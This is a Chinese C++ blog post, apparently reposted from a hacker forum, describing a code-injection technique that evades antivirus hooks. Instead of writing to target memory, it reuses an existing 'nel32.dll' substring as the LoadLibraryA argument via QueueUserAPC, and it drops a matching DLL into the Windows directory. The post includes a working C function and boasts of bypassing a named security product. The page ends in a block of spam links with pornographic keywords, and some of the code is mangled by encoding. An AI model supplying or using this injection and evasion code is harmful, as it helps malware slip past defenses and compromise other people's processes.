• <ins id="pjuwb"></ins>
    <blockquote id="pjuwb"><pre id="pjuwb"></pre></blockquote>
    <noscript id="pjuwb"></noscript>
          <sup id="pjuwb"><pre id="pjuwb"></pre></sup>
            <dd id="pjuwb"></dd>
            <abbr id="pjuwb"></abbr>

            S.l.e!ep.¢%

            像打了激速一樣,以四倍的速度運(yùn)轉(zhuǎn),開心的工作
            簡(jiǎn)單、開放、平等的公司文化;尊重個(gè)性、自由與個(gè)人價(jià)值;
            posts - 1098, comments - 335, trackbacks - 0, articles - 1
              C++博客 :: 首頁 :: 新隨筆 :: 聯(lián)系 :: 聚合  :: 管理

            繞過主動(dòng)防御的代碼注入

            Posted on 2010-01-08 11:49 S.l.e!ep.¢% 閱讀(403) 評(píng)論(0)  編輯 收藏 引用 所屬分類: RootKit

            繞過主動(dòng)防御的代碼注入


            繞過主動(dòng)防御的代碼注入
            目前大多數(shù)的殺軟都是hook NtWriteVirtualMemory和NtUserSetWindowsHookAW、NtUserSetWindowsHookE來防止代碼注入。

            關(guān)于代碼注入Ring3層的方法主要有:

            l 遠(yuǎn)程線程CreateRemoteThread

            l 消息鉤子SetWindowsHookEx

            l Ring3 APC QueueUserApc

            l 修改線程上下文SetContextThread

            其中第一種和第三種方法需要傳入一個(gè)param,但是要求這個(gè)param必須在目標(biāo)進(jìn)程內(nèi)存空間,之前的一些方法比較笨重,直接在目標(biāo)進(jìn)程VirtualAllocEx內(nèi)存,然后把希望的參數(shù)內(nèi)容寫入這個(gè)內(nèi)存,使用了WriteProcessMemory函數(shù),而這個(gè)函數(shù)是被hook的,所以殺軟可以很容易的攔截代碼注入行為。

            仔細(xì)想想,殺軟的這種防御是很失敗的!原因是為了要一個(gè)param,攻擊者完全沒有必要做這么大的動(dòng)作去目標(biāo)進(jìn)程內(nèi)存空間申請(qǐng)內(nèi)存并寫內(nèi)存,我在思考是否可以不用WriteProcessMemory函數(shù)呢?反正我的目的就是得到一個(gè)合理的param,并且這個(gè)param是在目標(biāo)進(jìn)程內(nèi)存空間即可!

            思考后,原來一切是這么容易啊,哈哈!樂了我半天~~~

            舉個(gè)例子:假設(shè)我是這樣注入的:

            QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)param) ;

            我想讓上面的param的內(nèi)容是一個(gè)“xxx.dll”,就可以了,而且要求這個(gè)param是在目標(biāo)進(jìn)程內(nèi)存空間

            您想到了么?哈哈

            答案:直接在目標(biāo)進(jìn)程搜索一個(gè)這樣的字符串“nel32.dll”就可以啦!因?yàn)椤発ernel32.dll” 這樣的字符串是一定存在的,那么為了和“kernel32.dll” 不一樣,那就隨便使用一下“nel32.dll”,或者“el32.dll”,都是可以的啊!最后在往windows目錄下面撂進(jìn)入一個(gè)nel32.dll,這樣注入大部分殺軟都是不能攔截到的!哈哈!

            寫了段程序,做了個(gè)試驗(yàn),僅測(cè)試了下趨勢(shì),完美繞過!其實(shí)殺軟稍后測(cè)試。。。

            DWORD EnumThreadandInjectDll(char *processName,HANDLE hProcess, DWORD dwProcessID,TIDLIST *pThreadIdList)
            {
            TIDLIST *pCurrentTid = pThreadIdList ;

            const char szInjectModName[] = "nel32.dll";
            DWORD dwLen = strlen(szInjectModName) ;

            //////////////////////////////////////////////////////////////////////////
            //不寫目標(biāo)進(jìn)程的內(nèi)存
            //直接在目標(biāo)進(jìn)程中搜索出 nel32.dll 這樣的字符串 并注入
            //////////////////////////////////////////////////////////////////////////
            int bufflen=30000;
            char *buffer=(char *)malloc(sizeof(char)*bufflen);
            DWORD dwNumberOfBytesRead;
            DWORD defaultAddress;
            //獲得該進(jìn)程的基址
            HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE, dwProcessID) ;
            if(!hSnapshot)
            {
            ?? printf("CreateToolhelp32Snapshot error!\n");
            ?? return 0;
            }
            MODULEENTRY32 me = { sizeof(me) };
            ???? BOOL fOk =Module32First(hSnapshot,&me);
            if(!fOk)
            {
            ?? printf("Module32First error!\n");
            ?? return 0;
            }
            ???? for (; fOk; fOk = Module32Next(hSnapshot,&me))
            ???? {
            ?? printf("%s process module name = %s\n",processName,me.szModule);
            ???????? // 取得進(jìn)程模塊基址
            ?? if(stricmp(me.szModule,processName)==0)
            ?? {
            ???? defaultAddress=(DWORD)me.modBaseAddr;
            ???? printf("%s process module base = 0x%08X\n",processName,defaultAddress);
            ???? break;
            ?? }
            ???? }
            //搜索
            if(!ReadProcessMemory(hProcess,(LPCVOID)defaultAddress,buffer,bufflen,&dwNumberOfBytesRead))
            {
            ?? printf("ReadProcessMemory error!\n");
            ?? return 0;
            }

            for(int i=0;i<bufflen-dwLen;i++)
            {
            ?? if(strnicmp(buffer+i,szInjectModName,dwLen)==0)
            ?? {
            ???? printf("found nel32.dll already!... %s\n",buffer+i);
            ???? while (pCurrentTid)
            ???? {
            ???? HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, pCurrentTid->dwTid) ;
            ???
            ???? if (hThread != NULL)
            ???? {
            ?????? //
            ?????? // 注入DLL到指定進(jìn)程
            ?????? //
            ?????? QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)(defaultAddress+i)) ;
            ???? }
            ???
            ???? printf("TID:%d\n", pCurrentTid->dwTid) ;
            ???? pCurrentTid = pCurrentTid->pNext ;
            ???? }
            ???? break;
            ?? }
            }

            return 0 ;
            }
            標(biāo)題:繞過主動(dòng)防御的代碼注入 文章來自【獵鷹基地-全國最大的網(wǎng)絡(luò)安全技術(shù)論壇】 地址:http://www.lyhacker.cn/bbs,原文地址:http://www.lyhacker.cn/bbs/read-htm-tid-2114.html

            日日狠狠久久偷偷色综合0| 免费一级欧美大片久久网| 久久婷婷五月综合97色直播| 久久精品无码av| 很黄很污的网站久久mimi色| 2021少妇久久久久久久久久| 久久夜色精品国产噜噜噜亚洲AV| 一级女性全黄久久生活片免费 | 久久久久久毛片免费看 | 青青草国产精品久久久久| 人妻精品久久久久中文字幕一冢本| 区久久AAA片69亚洲| 欧美日韩精品久久免费| 久久九九兔免费精品6| 久久亚洲AV无码精品色午夜麻豆| 波多野结衣久久精品| 久久天天躁狠狠躁夜夜不卡| 国色天香久久久久久久小说| 亚洲国产精品无码久久久秋霞2| 久久婷婷五月综合色高清| 99久久精品日本一区二区免费| 国产91色综合久久免费| 久久最近最新中文字幕大全| 国产毛片久久久久久国产毛片| 久久996热精品xxxx| 久久人做人爽一区二区三区| 久久午夜无码鲁丝片| 一本伊大人香蕉久久网手机| 久久精品国产福利国产琪琪| 久久久久久久综合狠狠综合| 久久亚洲AV成人出白浆无码国产| 久久夜色精品国产亚洲| 久久综合伊人77777麻豆| 久久精品久久久久观看99水蜜桃| 久久精品九九亚洲精品| 7国产欧美日韩综合天堂中文久久久久 | 亚洲国产精品久久久久婷婷老年 | 日韩中文久久| 97久久精品午夜一区二区| 久久综合久久鬼色| 久久久国产乱子伦精品作者|